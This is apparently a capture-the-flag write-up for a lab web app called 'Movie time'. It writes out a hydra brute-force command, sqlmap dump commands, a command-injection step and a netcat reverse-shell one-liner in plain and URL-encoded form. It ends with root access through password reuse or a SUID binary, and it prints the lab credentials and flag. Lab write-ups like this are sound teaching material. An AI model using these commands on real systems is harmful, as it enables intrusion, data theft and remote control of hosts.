---
# System prepended metadata

title: Movie time

---

![image](https://hackmd.io/_uploads/SkG5m2K5ge.png)
Clicking eGA movies we get link to http://172.17.17.119:3000
![image](https://hackmd.io/_uploads/HJN442Kqll.png)
The footer tells that we can not create account with username `admin` but lets try and see what hapens
![image](https://hackmd.io/_uploads/HJkqV2Y5gg.png)
We are getting the error that `possibly duplicate username`
So now we have username the issue is finding password. Lets try bruteforce using rockyou wordlist
![image](https://hackmd.io/_uploads/SyqhU2tceg.png)
For me i have two rockyou wordlist one is normal rockyou and the otherone is the reverse of the first one. Always i run them parallel for time saving since we don't know at which line the password is.
As above i will show the reverse rockyou part, you can ignore the error or you can strip it off if you like. or just use the command `hydra -l admin -P reverseRockyou.txt 172.17.17.119 -s 3000 http-post-form "/login:name=^USER^&password=^PASS^:F=Invalid credentials" -f -q`
![image](https://hackmd.io/_uploads/HyvjIAYqxx.png)

Here we find password as `1234568787`. Now lets login as administrator using credentials we obtain.
> username: admin
> Password: 1234568787
> For IAA CTF password here will be killer

![image](https://hackmd.io/_uploads/ryuyY3F9le.png)

Here we successfully login as admin and we have the token. Also there is a serch functionality that we can use to search for users using their IDs
![image](https://hackmd.io/_uploads/SyXqY3Kcgg.png)
When searching id 1 we get user admin, means this function has direct access with the database. Lets try SQLi
![image](https://hackmd.io/_uploads/Hk_-qht9le.png)
The data does not change, now its a time to look of what is happening on the network am going to use burpsuite.
![image](https://hackmd.io/_uploads/S1Mboht9ee.png)
Now on the network we found what hapens with /search: Here there is internal server error that is the strong indication of SQLi also there is a SQL error message `unrecognized token`, Now we are sure that there is a SQLi in this function.

Now its a time to exploit SQLi. Simple way is to rightclick the request and save into a file
![image](https://hackmd.io/_uploads/B1pRkTY9xe.png)
For me i save it as search. use this command to exploit database `sqlmap -r search --dbs` 
![image](https://hackmd.io/_uploads/ryQoepKceg.png)
Now lets go to tables : `sqlmap -r search --tables`
![image](https://hackmd.io/_uploads/SyUMWpYqxl.png)
The interesting one was websites to view the hiden websites. So lets dump thta table : `sqlmap -r search -T Websites --dump` 
![image](https://hackmd.io/_uploads/H1QAbpYqel.png)

We get a private url lets view it on the browser : `/svdctyfyfcewiofrwehgtretjguhbkemcvnytj` 
![image](https://hackmd.io/_uploads/HJoWGptcxg.png)
We get the page that is used to ping. Lets try to find if we can reach local host.
![image](https://hackmd.io/_uploads/B1lvGTtqel.png)
Its is working. Now its time to check for command injection just use simple command like ls.
![image](https://hackmd.io/_uploads/HyE3zTt5ee.png)

Its time for reverse shell - Lets use this command to get the reverse shell
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.17.17.119 9090 >/tmp/f`
![image](https://hackmd.io/_uploads/B1SdX6F9ge.png)
Lets try to do url encoding to the above command. It becomes 
`rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%20172.17.17.119%209090%20%3E%2Ftmp%2Ff`
![image](https://hackmd.io/_uploads/H1-GN6F9ll.png)

After getting reverse shell there are two ways to get flag
1. exploiting password reuse.
Through testing password reuse you will find that the root password is the same as that of admin. ie 1234568787. So just switch user and go for the flag
![image](https://hackmd.io/_uploads/BkL1rAF5ee.png)

2. exploit SUID binaries.
![image](https://hackmd.io/_uploads/rJBT7Ctcll.png)
You will view the flag or escalate privilege as explains in https://gtfobins.github.io/gtfobins/nano/#sudo

> Flag : RIDC{6dcd4ce23d88e2ee9568ba546c007c63d9131c1b8b5e26c5f1f4c0e4e5f2f5f0}